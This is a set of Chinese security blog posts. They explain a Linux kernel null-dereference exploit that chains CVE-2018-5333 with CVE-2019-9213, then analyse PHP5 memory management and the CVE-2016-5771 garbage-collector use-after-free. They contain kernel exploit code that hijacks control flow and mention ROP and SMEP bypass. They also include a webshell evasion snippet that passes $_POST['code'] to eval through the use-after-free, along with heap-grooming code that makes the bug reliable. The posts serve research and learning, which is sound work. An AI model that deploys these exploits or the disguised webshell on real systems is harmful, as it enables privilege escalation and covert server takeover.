现在两个漏洞都有了,结合起来怎么用呢? 理论上我们这里是可以伪造一个page结构,第一想法,看page结构上是否有函数指针调用的过程。但是还是得顺着开始的流程来看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void rds_atomic_free_op(struct rm_atomic_op *ao)
{
struct page *page = sg_page(ao->op_sg);

/* Mark page dirty if it was possibly modified, which
* is the case for a RDMA_READ which copies from remote
* to local memory */
set_page_dirty(page);
put_page(page);

kfree(ao->op_notifier);
ao->op_notifier = NULL;
ao->op_active = 0;
}
set_page_dirty处理过程:
1
2
3
4
5
6
7
8
9
10
11
int set_page_dirty(struct page *page)
{
struct address_space *mapping = page_mapping(page);

page = compound_head(page);
if (likely(mapping)) {
int (*spd)(struct page *) = mapping->a_ops->set_page_dirty;
...
return (*spd)(page);
}
}
运气似乎不错,如果这个mapping是从page上的字段,那么这一切就变的简单了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct address_space *page_mapping(struct page *page)
{
struct address_space *mapping;

page = compound_head(page);

/* This happens if someone calls flush_dcache_page on slab page */
if (unlikely(PageSlab(page)))
return NULL;

if (unlikely(PageSwapCache(page))) {
swp_entry_t entry;

entry.val = page_private(page);
return swap_address_space(entry);
}

mapping = page->mapping;
if ((unsigned long)mapping & PAGE_MAPPING_ANON)
return NULL;

return (void *)((unsigned long)mapping & ~PAGE_MAPPING_FLAGS);
}
第一个注意的点:
1
2
3
4
5
6
7
8
9
page = compound_head(page);
static inline struct page *compound_head(struct page *page)
{
unsigned long head = READ_ONCE(page->compound_head);

if (unlikely(head & 1))
return (struct page *) (head - 1);
return page;
}
这里是可以通过page->compound_head改变page的指向,可能有用。 第二点是要避免进入下面逻辑:
1
2
3
4
5
6
if (unlikely(PageSwapCache(page))) {
swp_entry_t entry;

entry.val = page_private(page);
return swap_address_space(entry);
}
这个比较好弄,这是通过比较page->flagsbit位来判断,所以这里只需要把page->flags置零就行。最后经过下面的对齐返回mapping:
1
2
3
4
5
mapping = page->mapping;
if ((unsigned long)mapping & PAGE_MAPPING_ANON)
return NULL;

return (void *)((unsigned long)mapping & ~PAGE_MAPPING_FLAGS);
所以这里有上面三个注意点,再通过mapping拿到mapping->a_ops->set_page_dirty,这里有一个技巧,要充分利用0地址,避免再去重新申请内存。这里a_ops可以设置为0,mapping不能设置为0,这里有一个冲突,需要解决,当page设置成0不变的时候,a_ops也为0的时候:
1
2
page->mapping  == ((char *)page)+0x18
a_pos->set_page_dirty == ((char *)a_pos)+0x18
所以这里最好是通过compound_head(head),改变一下page,把paga指到其他用户空间上,例如栈上:
1
2
3
4
5
6
7
8
char str[1000];
map_null_address();
unsigned long *data = (unsigned long *)0;
memset(str,0,1000);
*((unsigned long *)(str+0x18)) = str;
data[1] = str+1;
data[3] = 0xffffffffdeadbeaf;
trigger_null_pointer_ref();
从oops报错上可以看到最后是走到了预期的位置上。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[ 2515.888056] BUG: unable to handle kernel paging request at ffffffffdeadbeaf
[ 2515.888056] PGD 200e067 P4D 200e067 PUD 2010067 PMD 0
[ 2515.888056] Oops: 0010 [#3] SMP PTI
[ 2515.888056] CPU: 0 PID: 113 Comm: test Tainted: G D 4.20.0+ #1
[ 2515.888056] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
[ 2515.888056] RIP: 0010:0xffffffffdeadbeaf
[ 2515.888056] Code: Bad RIP value.
[ 2515.888056] RSP: 0018:ffffc90000173b98 EFLAGS: 00000286
[ 2515.888056] RAX: ffffffffdeadbeaf RBX: ffff888005a2d928 RCX: 0000000000000000
[ 2515.888056] RDX: ffffffff8129b340 RSI: 0000000000000246 RDI: 00007ffce69d17f0
[ 2515.888056] RBP: 0000000000000000 R08: 0000000000000001 R09: 00000007ffca66b2
[ 2515.888056] R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000000
[ 2515.888056] R13: 0000000000000246 R14: ffff888005a2d8e8 R15: 0000000000000000
[ 2515.888056] FS: 00000000019b3880(0000) GS:ffff888007200000(0000) knlGS:0000000000000000
再根据当前各寄存器的状态xchg切栈到用户内存上,实现提权的ROP,当然你也可以写CR4去绕SMEP这都是常规思路 )

0X03思考

最开始我拉的是patch CVE-2018-5333之前最后一次commit,但是编译起来错误很多,尽管最后我手动patch了很多处,终于编译成功了。但是qemu还是运行不起来,果断放弃了,还是选择了patch CVE-2019-9213之前最后一次commit,然后手动删掉了关于CVE-2018-5333的patch,还有这里编译之前记得开RDS的配置。

相对来说这里是比较简单劫持流,这是我没有预想到的。有了CVE-2019-9213很多其他的漏洞就变成了可能,下一次我想分析一个复杂一点伪造相关结构劫持程序流的洞,最后还是觉得是比较有趣的一次经历!

拥抱php之是谁动了我的内存?

小叙

在之前文章中最后的结尾,我贴了一段代码,不知道有没有师傅遇上了那种情况,因为这其中影响它出现的因素有很多,略微的变化有可能输出的结果就截然不同,为了更好的解释这其中的为什么,我重新从php5的编译器看起,因为之前我一直看的是php7,而php5和php7有很多不一样,比如底层zval结构的变化,php7语法分析过程中生成间接的语法树,执行器handler调度的多种方式,为了让写出来的东西更加的严谨和细致,我看了很多关于本文之外php5其他方面的东西,这是本文迟迟没有写的原因。

回到本文主题,确实这里算是一块php内核中比较庞大的一块内容,从文章的题目也可以猜测到后面的一切内容都关系到了内存,废话不多说进入正题。

简要分析

我把之前遗留问题的代码贴上来:

1
2
3
4
5
6
7
8
$a="phpinfo();"; 
$b=$a;
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$a;
var_dump($outer_array);
这里逻辑上是完全没有问题的,$filler2 = &$a;这一步的分裂过程应该是可以拿到$outer_array指向已经被释放的zval结构大小的内存。但是奇怪的是输出$outer_array还是NULL。

为了更好的让师傅了解整个过程,讲一下之前没有提到的,为什么还存在$filler1 = "aaaa"这个赋值过程,在语法分析过程中,通常存在着一个叫三地址中间代码,什么叫三地址呢?比如:x = y op z ,其中op是一个二目运算符, y 和 z是运算分量的地址,也是我们经常说的曹操作数,而x是运算结果存放的地址。这种三地址指令最多只执行一个运算,操作对象也是最基础的地址,叫三地址其实并非会完全用到x y z三个地址,但是至少有一个。

比如$outer_array = unserialize($serialized_string);这一步我们尝试用三地址代码思想来分解一下:

1
2
3
send_var $serialized_string   //第一步函数传参: op=send_var,y=$serialized_string
$tmp = do_fcall 'unserialize' //第二步函数调用: op=do_fcall,x=$tmp,y='unserialize'
$outer_array assign $tmp //第三步赋值:op=assign,y=$outer_array,z=$tmp

我们再来来看一下gc_collect_cycles();这一步如果用三地址代码来分解的话:

1
do_fcall 'gc_collect_cycles'
这里看起来应该算个单目运算符,因为在php里面有一个执行栈,配合send_var opcode来完成参数调用的。但是在php的函数调用里面,无论是否会用到他们的返回值,这个时候都会先初始化一个$tmp,用来保存函数返回值,如果该返回值并没有用到的话,再进行释放,$tmp保存结构同样是zval,所以这里会释放掉一个zval大小的内存。
1
$tmp = do_fcall 'gc_collect_cycles'
这里释放掉$tmp以后zval内存块就刚好'盖'在原先gc释放以外释放掉的\(out_array上面。这里用了一个比较形象的'盖'字,所以这里我们需要先把`\)tmp`拿走,再申请zval的时候就可以拿到$out_array指向的zval。

出现这种奇怪的现象,第一感觉可能在复制分裂申请zval之前,$out_array这个目标zval已经被拿走了,那么是被'谁'拿走了呢?

具体分析

在我拿gdb调之前,我做了一些细微操作,\(out_array却正常输出了,比如新增一条语句:`\)randman="unit"或者把上面的var_dump换成echo`,都能正常输出,是不是感觉非常的不可思议,并且难以理解。

我们进一步缩小问题,当我把简单把var_dump换成了echo, 这是最后一步肯定对面执行过程没有干扰的,但是还是影响了输出,如果说执行过程没有影响,那么最后的不同地方就发生在php代码的编译阶段!

现在我们需要确保一下$out_array释放伴随着gc正常释放了,这时候就需要用gdb来动态调了,第一次断在gc_collect_cycles其中的:

1
2
3
4
5
6
7
/* Free zvals */
p = GC_G(free_list);
while (p != FREE_LIST_END) {
q = p->u.next;
FREE_ZVAL_EX(&p->z);
p = q;
}
首先我们确保释放顺序:
1
2
3
4
5
6
7
8
GC buffer content:
[0x7ffff7c828b0] (refcount=2) array(1): {
1 => [0x7ffff7c82aa8] (refcount=1) object(ArrayObject) #1 //ArrayObject
} //outer_array
[0x7ffff7c818e0] (refcount=2,is_ref) array(2): {
1 => [0x7ffff7c818e0] (refcount=2,is_ref) array(2):
2 => [0x7ffff7c828b0] (refcount=2) array(1):
}//inner_array
这里的释放顺序应该是inner_array ,ArrayObject,outer_array. 关于这里的过程可以去看gc遍历结点的过程,也可以参考我之前的文章,在这里不累述。

确保了释放的过程,再来看之后的分配过程,这里可以在_emalloc下个断,预想其过程,$filler1= 'aaaa'拿走了gc_collect_cycles释放的$tmp, 在这过程gdb 一直continue即可,第二个zval的申请确实发生在了引用复制分裂的过程中,但是申请到的内存却是之前ArrayObject对应的zval,这过程中也没有其他操作申请了zval,可out_array对应的zval去哪了呢?

之前dumpgc里面还有outer_array的地址,查看其内容,这里有一个tip,因为我这里使用的php-5.6.20开了debug,开了debug之后,默认把内存保护也开了,内存保护会把释放掉的内存块清零,所以这里我肯定它还在内存池里面。

为什么它还躺在内存池里面呢?引入今天的主角php的内存管理。

php内存管理

玩PWN的师傅都会非常熟悉glibc里面ptmalloc内存模型,同样php里面也有自己的一套内存管理与ptmalloc有些不一样,它和google的tcmalloc是想对应的。这里我画了一张图,我会用图来描述整个过程,拒绝贴代码!

enter image description here 可以看到管理整个内存是一个zend_mm_heap结构,初始化内存可以通过malloc或者mmap来完成,其申请的粒度zend_mm_heap->block来决定的,也就是每次向系统申请的内存大小是zend_mm_heap->block的整数倍

每次向系统申请的内存,都会通过一个zend_mm_segment结构来管理,向系统的申请内存我们称之为segment段,想系统申请的segments,zend_mm_heap->segments_list这个字段组成了一个链表。可以看到segment起始位置保存着zend_mm_segment的结构,而后的位置被分成了一个又一个的block块,看绿箭头的位置,这里blocks来自于4种不同的结构上。我们就这四个结构来分别描述一下:

1.cache:

cache是第一层的缓存结构,可以看到长度是ZEND_MM_NUM_BUCKETS,上面还有一串宏用来计算不同大小的内存块对应的cache里面的index。 cache里面内存块可用的大小为8 * index,最小是可以为0,而最大是8*(ZEND_MM_NUM_BUCKETS-1),这里为什么有一个0呢,因为这里并不是真实可用内存为0。

一个block块某一时刻只有一种状态要么是unused ,要么是used,php里面用两种header结构来分别管理这两种内存,一个是zend_mm_block对应着used状态下的block,另一个是zend_mm_free_block对应着unused状态下的block,used的状态下header只需要记录这block的位置和大小,可能还有debug信息,而unused状态下的header需要额外记录他可能存在于其他4种block管理结构中的位置,开了内存保护以后还会在zend_mm_block后面设置一个魔数,所以这里为了保证两种状态下header大小都够用,我们取两者的最大值:

1
2
3
4
#define ZEND_MM_ALIGNED_HEADER_SIZE			ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_block))
#define ZEND_MM_ALIGNED_FREE_HEADER_SIZE ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_small_free_block))
#define ZEND_MM_MIN_ALLOC_BLOCK_SIZE ZEND_MM_ALIGNED_SIZE(ZEND_MM_ALIGNED_HEADER_SIZE + END_MAGIC_SIZE)
#define ZEND_MM_ALIGNED_MIN_HEADER_SIZE (ZEND_MM_MIN_ALLOC_BLOCK_SIZE>ZEND_MM_ALIGNED_FREE_HEADER_SIZE?ZEND_MM_MIN_ALLOC_BLOCK_SIZE:ZEND_MM_ALIGNED_FREE_HEADER_SIZE)
这里就会出现一种情况当ZEND_MM_ALIGNED_FREE_HEADER_SIZE更大一些话,当申请的内存大小介于 ZEND_MM_ALIGNED_MIN_HEADER_SIZE-(ZEND_MM_ALIGNED_HEADER_SIZE+END_MAGIC_SIZE)):0之间的话,那么只需要分配一个header即可,所以就出现了cache里面index为0的可能,当然了其真实可用的内存也不是为0。

总结cache是一个提供快速缓存的不同大小,但是block的大小较小一张单链表,遵循LIFO结构,即后进去先出来。

2.free_buckets:

你可以从图中看到,它的长度是ZEND_MM_NUM_BUCKETS*2,这个结构和ptmalloc里面的bins是一样的,因为在使用zend_mm_free_block只会使用到prev 和 next两个字段,所以这里的free_buckets[index] 和 free_buckets[index+1]分别对应着prev和next,看图我圈了一个zend_mm_free_block结构出来,在初始化的时候prev和next都会指向这个zend_mm_free_block,他储存的size大小对应这cache里面size。相同size组成一张双链表,同样遵循LIFO结构。 其中也使用了bitmap来避免遍历空洞。

3.large_buckets:

这个结构是一个比较有意思的结构,是键树和双链表的结合。看图,index对应着block二进制置1的最高位,这并不是完整的键树,并不是说为其二进制的每一个位都建立结点,而是每一个键树的结点都是一个block,插入的时候只是在已经存在的结点下往下衍生建立新结点。

相同size之间用一条双链表建立起来,可以看图中就形成了相当于二叉树和双链表联合的结构,我还画了一下insert的过程,可以对应着看一下。同样这里也有一个bitmap来避免空洞,其中还有查找和删除过程也值得一看,查找的过程还是遵循最小内存原则,而删除过程会把内存大的结点往root上靠。具体的代码注释,我已经上传到github,有兴趣的师傅们可以去看看。在这里我不想贴代码!

4.rest_buckets:

看名字这里存储着内存块分割留下的剩余的size,这里避免这些剩余的无意义的内存块重新插入free_buckets带来的性能问题。可以看到rest_buckets长度为2,一般情况下遍历查找rest_buckets的时候,只会用到rest_buckets[0],但是当rest_buckets满了以后会通过rest_buckets[1]从最前面把内存块重新释放到free_buckets中,同样着两个长度的zend_mm_block* 也对应着prev和next,和前面的free_buckets一样。

问题所在

现在的你应该对整个php的内存管理也有一个基本的认识。接着我们再来看问题,如果说连续内存申请,都没有拿到$out_array指向的zval内存block,这里不应该用zval,因为在php5里面我在前面说过,申请的应该是zval_gc_info结构,所以这里只有一个原因: $out_array指向的内存块,没有在ZEND_MM_TRUE_SIZE(sizeof(zval_gc_info))内存块大小对应在cache里面的位置的单链表里面。

发生这个问题只有一个原因,那就是在第一次申请$out_array的时候,拿到的内存块的大小要大于ZEND_MM_TRUE_SIZE(sizeof(zval_gc_info)),所以在释放的时候,没有放到预期的cache[index]里面。

为什么会申请到大于ZEND_MM_TRUE_SIZE(sizeof(zval_gc_info))的内存块,这个问题其实也很好理解,如果第一次在申请内存的时候,cache里面没有找到的话,那么接着会去free_buckets里面找,而且比较巧的是free_buckets里面也没有正好符合其大小的blocks,根据bitmap往后找,所以这里有一个内存分割过程,分割出来我们需要的size,然后剩下size,又比较巧,它是小于一块block_header大小的内存,那么这时候会干脆把着剩余的一块都给申请的对象。

所以拿到的block要比预期的要稍微大一点,有的师傅可能会像难道不是$out_array释放的时候产生了合并的情况,其实也是有可能的,当cache满了以后,确实会在把这块内存插入free_buckets之前尝试合并。但是这里情况是前面一种,因为这里的代码量是比较少的,对应的内存开销是比较小的。

再回到之前把var_dump替换为echo的时候发生的奇怪现象。现在可以预想到肯定是内存操作有差异,确实是如此,这需要追溯到语法分析的过程中,var_dump是内部函数的调用而echo只是语法结构,这其中有很多内存操作都有差异,涉及到一些内存的申请和释放,比如调用函数的时候会dup函数名到小写字符,还有编译时刻函数栈结构申请的入栈操作和出栈操作,这过程都会额外产生很多粒度内存块,我并不是指这个过程是随机不可预测,它是可以一步一步推出来的,哪一步申请了内存,那一步释放了内存。这过程是清晰的。

如何解决

还有可能php版本不一样可能也存在一些内存差异的操作,为了能避免这些情况,当然你也随意的改代码,看其是不是正常的输出。更好的做法是在$outer_array对应zval申请的时候,我们让cache里面有其对应的block,怎么做呢?

很简单,我们额外再定义一些php变量再将其unset掉,让其填充cache。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
$a="phpinfo();";
$b = $a;
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$maple = "unit";
$laura = "unit";
$family="unit";
$brother="unit";
unset($maple);
unset($laura);
unset($family);
unset($brother);
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$a;
var_dump($outer_array); ?>
所以解决问题的办法是非常简单,难的是你得了解php内部是怎么维护内存的。关于php内存管理这一块的代码注释在https://github.com/m4p1e/php-5-source-travel里面,以后我会把我看的一些代码注释都补上。

我之前也喜欢写一些源码分析之类的文章,但渐渐发觉从源码出发虽然能够探究实现的细节,但这些东西更适合作为自己的学习笔记,如果要讲给别人,还是用一些更加可读的方式比较好。所以我在慢慢改变自己写东西的方式,尽量少贴代码,多用图,把数据结构和数据结构关系阐明更形象一点,用比较简洁的语言来描写调用过程。这个系列写了一些文章了,为什么我会写这些文章,一直没有一个机会说,因为我的二进制起始于php,php这个语言再我来看来是比较成功一门语言,他做到了简单易用,功能也比较丰富,他肩负和完成了自己的使命,以至于很多web选手的第一们语言就是它,未来我想php应该会向java靠拢,并不是说java有多么好,而是这是一种趋势,比如java的jar,未来php可能也会把opcode生成这样一种中间代码。

二进制起始于php,我想给它做点什么,鸟哥是我偶像!!!就像我要给php一个深深的拥抱,一切难以言语的东西都在这个拥抱里面。php内核并没那么生涩,如果纯粹讲的话,确实比较枯燥,像这样由一个又一个的问题引出细节,就是一种非常好的方式,在这过程中很多时候自己也是先学现卖,其中可能存在很多错误,也欢迎师傅指出来,至于未来这个系列会走到哪一步我也不知道。。。

我想它应该有它存在的价值!

拥抱php之变量引用

0x00起因

昨天在discord里面我们90sec Team的成员之一的lufei提出了一种php webshell免杀技巧,我觉得很有意思,如下:

1
2
3
4
5
6
7
$code = $_POST['code'];
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$code;
eval($outer_array);
他用我之前一篇文章《拥抱php之CVE-2016-5771》里面提到的CVE-2016-5771,我第一次看的时候我迟疑了一下,$filler2 = &$code;他这里这样写为什么能成功呢?如果你是稍微了解这个CVE话,这个CVE是个uaf类型漏洞(如果不太了解可以看看我写那篇文章)。在gc的过程中其实已经释放掉了$outer_array指向的zval,当我们重新定义php变量的时候,就可以拿到这块zval的内存。这里我不会过多讲这个CVE的原理,它不是本文重点讨论的对象。

lufei也问我这里$filler2 = &$code;只能这样写,而不能$filler2 = $code; 或者 $filler2 = $_POST['code']这样写。关于这个地方为什么会这样?我其实在《拥抱php之CVE-2016-5771》中提到过两次,第一次在开头我简单讲了一下php5-php7变量引用区别,还有在后面我提到的 > 这就涉及到php变量赋值的问题上,php5引用赋值,是有split过程的

如果有师傅深入理解的去探究一下的话,是可以很快的理解这里是为什么会导致这种情况的。下面我就借这次提出的问题,讲一下php5里面变量引用的相关知识。

0x01分析

可能有师傅会想这样写,其实这也是一样的,都不会正常的执行:

1
2
3
4
5
6
7
$code = "phpinfo();";
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = $code;
eval($outer_array);
## 前置知识:

php的变量如:$a,$maple这样的在php里面显式定义的不同类型的变量,在php内核里面是都是以一个叫zval结构形式所存在的。可以看一下php5里面zval的定义:

1
2
3
4
5
6
7
struct _zval_struct {
/* Variable information */
zvalue_value value; /* value */
zend_uint refcount__gc;
zend_uchar type; /* active type */
zend_uchar is_ref__gc;
};
zvalue_value用来保存不同类型变量,refcount__gc表示引用计数,type用来标记是zvalue_value保存的是什么类型的变量,is_ref__gc用来表示这个当前的zval是一个引用类型。你现在明白php变量在php内部是以怎样的形式存在。

接下来我们了解一下php的变量赋值是一个怎样的过程?上面说到我们经常看见的$a,$b这些php显式定义的变量,其实在还有一些非显式定义的变量,例如函数返回值,复杂运算间的中间变量等。当然了这里我们还是主要来讨论一下显式定义的php变量之间的赋值情况。

php变量赋值handler

理所当然这里我首先需要看看$filler2 = &$code;这个过程做了什么,怎么在php内核里面快速的找到这个过程呢? 可能对不了解php内核的师傅来说,比较花费时间。php是一门脚本语言,脚本语言的核心在于VM,VM核心在于opcode 和 handler,上面是一条赋值语句,而且是引用赋值,所以他的opcode应该是assign_ref,而且它有两个操作数$filler2$code都是php的显式变量,根据这三个条件我们就能找到一条与之对应的处理handler,php处理过程handler定义都在Zend/zend_vm_execute.h文件中,如果有师傅想要深入的去了解这一过程的话可以去看看我之前写的一篇文章 玩转php的编译与执行 :)

php里面显式定义的变量在php里面表示为CV变量,所以结合上面的分析我们能很快的去定位到相关的handler:

1
2
3
4
5
6
7
8
9
static int ZEND_FASTCALL  ZEND_ASSIGN_REF_SPEC_CV_CV_HANDLER(ZEND_OPCODE_HANDLER_ARGS){
...
value_ptr_ptr = _get_zval_ptr_ptr_cv_BP_VAR_W(execute_data, opline->op2.var TSRMLS_CC);
...
variable_ptr_ptr = _get_zval_ptr_ptr_cv_BP_VAR_W(execute_data, opline->op1.var TSRMLS_CC);
...
zend_assign_to_variable_reference(variable_ptr_ptr, value_ptr_ptr TSRMLS_CC);

}
在这个函数里面我们只需要关注这三行,至于前面两行的作用就是拿到两个php变量对应的zval,这些zval都放在当前execute_data上,这个过程在这里我们不需要去了解。核心的处理过程还是在第三行里面:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static void zend_assign_to_variable_reference(zval **variable_ptr_ptr, zval **value_ptr_ptr TSRMLS_DC)
{
zval *variable_ptr = *variable_ptr_ptr; //$filler2指向的zval
zval *value_ptr = *value_ptr_ptr; //$code指向的zval

if (variable_ptr == &EG(error_zval) || value_ptr == &EG(error_zval)) {
variable_ptr_ptr = &EG(uninitialized_zval_ptr);
} else if (variable_ptr != value_ptr) { //显然我们两个变量并不是同一个变量
if (!PZVAL_IS_REF(value_ptr)) {
/* break it away */
Z_DELREF_P(value_ptr);
if (Z_REFCOUNT_P(value_ptr)>0) {
ALLOC_ZVAL(*value_ptr_ptr);
ZVAL_COPY_VALUE(*value_ptr_ptr, value_ptr);
value_ptr = *value_ptr_ptr;
zendi_zval_copy_ctor(*value_ptr);
}
Z_SET_REFCOUNT_P(value_ptr, 1);
Z_SET_ISREF_P(value_ptr);
}
*variable_ptr_ptr = value_ptr;
Z_ADDREF_P(value_ptr);
zval_ptr_dtor(&variable_ptr);
}
...
上面分析进入elseif分支以后,里面这些过程可能就有些看不懂了,这里我讲解一下php变量赋值的基本知识:
1
2
$a = "hello,maple";
$b = $a;
这里第一行给$a赋值是一个字面量相当于常量,所以这里php会创建一个字符串类型zval,然后让$a指向它,第二行将$a赋值给了$b,这里变量间的赋值,php内部使用了一种比较常见的技术COW(copy on write),即写时复制,所以这里赋值过程仅仅时将$b也指向了$a所指向的zval,而当在对$b进行写的时候才会去复制一个新的当前$b所指向的zval,然后将$b指向这个新的zval,然后在这个新的zval上进行读写。那么在php内部是如何具体实现的呢?其实在执行$b=$a这一步的时候,其实就时单纯的把$a所指向的zval的 refcount_gc+1,即引用计数+1,与之对应的在写$b的时候,首先会去进行refcount_gc-1去判断refcount_gc是否为0,如果不为零的,当然了前提是$b不是引用类型的变量,就会进行之前提到的复制过程,也可以叫分裂过程。

这里其实还有一点小细节,我们都知道写时复制,其实还隐藏着一些隐式的复制现象比如:

1
2
3
$a = "hello,maple";
$b = $a;
$c = &$a;
这里虽然没有写$b,但是还是在第三步的时候产生了复制现象,\(a,\)c会指向新复制产生的zval,这也是解决前面问题的关键所在,回到之前的过程,具体来看:
1
2
3
4
5
6
7
8
9
10
11
12
if (!PZVAL_IS_REF(value_ptr)) {
/* break it away */
Z_DELREF_P(value_ptr);
if (Z_REFCOUNT_P(value_ptr)>0) {
ALLOC_ZVAL(*value_ptr_ptr);
ZVAL_COPY_VALUE(*value_ptr_ptr, value_ptr);
value_ptr = *value_ptr_ptr;
zendi_zval_copy_ctor(*value_ptr);
}
Z_SET_REFCOUNT_P(value_ptr, 1);
Z_SET_ISREF_P(value_ptr);
}
value_ptr对应着$code,那么$code这时候的引用计数时多少呢?
1
$code = $_POST['code'];
你现在把$_POST['code']也当作一个CV变量,同样根据COW的原则,这里只是把$_POST['code']所指向的zval的引用计数+1,你可能对这个zval初始的引用计数是多少你不了解,但是你应该可以肯定它是大于1的,关于php这些全局变量的定义我想在以后的文章里面我会提到。那么在这里根据上面的代码,$code也不是引用类型,而且在引用计数减一以后它应该还是大于0的,这里就出现了复制过程,这个时候会申请新的zval结构,正好就拿到了我们之前释放掉的$outer_array的zval结构占用的内存。这样$filler2会指向这个新分配的zval,新分配的这个zval就是复制的$_POST['code'],同理现在$outer_array也是指向这块zval的,$outer_array的值就等于$_POST['code']所以整个过程运行成功。

现在再来分析这种情况为什么不行:

1
2
3
4
5
6
7
8

//$code = $_POST['code'];
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = $_POST['code'];
eval($outer_array);
这就很好说明了,这个CV变量间赋值过程,并没有发生复制过程,即没有申请新的zval,$out_array所指向的zval还躺在内存池里面为NULL,也不一定在内存池里面。

0x02ThE next

在阐述这个问题过程中,我又改改了变成下面这种情况:

1
2
3
4
5
6
7
8
9
10

$a="phpinfo();";
$b=$a;
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$a;
var_dump($outer_array);

按照正常逻辑来说这个过程是没有问题,$filler2 = &$a;这一步是会进行复制分裂的,这没有问题,但是还是非预期,输出的$outer_array是NULL。可能有些师傅能正常输出,有些却不行。这个问题产生的原因在本文之外,而且是比较庞大的一块内容,我决定把它放下我的下一篇文章里面。当然师傅也可以自己先思考思考 )

拥抱php之CVE-2016-5771

PHP的gc机制:

  1. 为什么要有gc?

php是一个脚本语言,弱变量类型的语言,用户不用考虑变量内存的分配。一切都由php的vm提供,在<5.3一下的时候,php使用的是引用计数来实现的gc,但是没办法解决自身的引用如下:

1
2
$a = array(0=>$&a);
unset($a);
5.3以后引入了新的gc方法,标记法。这里有一个值得注意的是php5和7关于引用计数方式有点不太一样,php7保存在zval_value中,php5在分配zval的时候,实际上是_zval_gc_info结构,引用计数也保存在zval结构下。
1
2
3
4
5
6
7
typedef struct _zval_gc_info {
zval z;
union {
gc_root_buffer *buffered;
struct _zval_gc_info *next;
} u;
} zval_gc_info;
2. gc的面对是谁?

这个问题开始确实迷惑我了,以为所有变量都会参与到gc的cycle里面,只有array 和 object 的引用计数在减少的时候才有可能加入gc的root-buffer里面。

  1. gc的root-buffer什么时候会增加? 即什么才算是疑似垃圾的变量?

一个zval可能被引用很多次,如果某个时刻它的ref等于0的时候,这个时候才会去考虑真正的去释放掉这块内存,那么疑似垃圾怎么来定义呢?看下面释放zval的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static zend_always_inline void i_zval_ptr_dtor(zval *zval_ptr ZEND_FILE_LINE_DC TSRMLS_DC)
{
if (!Z_DELREF_P(zval_ptr)) {
ZEND_ASSERT(zval_ptr != &EG(uninitialized_zval));
GC_REMOVE_ZVAL_FROM_BUFFER(zval_ptr);
zval_dtor(zval_ptr);
efree_rel(zval_ptr);
} else {
if (Z_REFCOUNT_P(zval_ptr) == 1) {
Z_UNSET_ISREF_P(zval_ptr);
}

GC_ZVAL_CHECK_POSSIBLE_ROOT(zval_ptr);
}
}

这是一个分支结构,首先会ref--,如果说引用计数为0,那么就真的去释放掉这个zval,并且如果这个zval存在与gc的root-buffer里面话,也会把这个zval从root-buffer删掉,root-buffer是个双链表结构,每次都从gc_globals->roots插入,也相当于一个FILO的结构。

再看另外一个分支,即ref--后,引用计数不为零,这个时候会去判断是不是possible_root可能根, 实际上就是把这个zval考虑加入root-buffer,同时标紫,这个就得将细节标色法了,后面再说。root名根,即一个zval变量在root-buffer只能存在一个,这个也是用标记法来判断的,只有黑色的时候才能考虑去标紫。

这个时候比较清楚了,即变量引用计数减少时,且减少之后不为0,zval的变量类型为array或者为object的时候。

上面三个问题应该是在了解gc过程中比较常见的问题。具体来看CVE-2016-5771

1
2
3
4
5
6
7
<?php
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($outer_array);

在理解整个漏洞形成过程中其实不太容易的,如果你对gc和serialize的过程不太理解的话。很显然从输出结果来看这是一个UAF,$outer_array被意外的释放掉了。那么反过来想,结合gc,又不是反序列的问题,那么肯定是在处理gc的时候$outer_array引用计数肯定被减少为0,被当成垃圾释放掉了。还必须得深入到gc_collect_cycles里面去看才行。

这个$outer_array的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
array(1) { //外层数组
[1]=>
object(ArrayObject)#1 (1) {
["storage":"ArrayObject":private]=>
&array(2) { //内层数组
[1]=>
*RECURSION* //对内层数组的引用
[2]=>
*RECURSION* //对外层数组的引用
}
}
}
这种情况只能动态调呗,先下个断在gc_collect_cycles,看一下此时gc_root_buffer的可能垃圾根
1
2
3
4
5
6
7
[0x7ffff7bb37b0] (refcount=2) array(1): {
1 => [0x7ffff7bb6188] (refcount=1) object(ArrayObject) #1
}
[0x7ffff7bb4dd0] (refcount=2,is_ref) array(2): {
1 => [0x7ffff7bb4dd0] (refcount=2,is_ref) array(2):
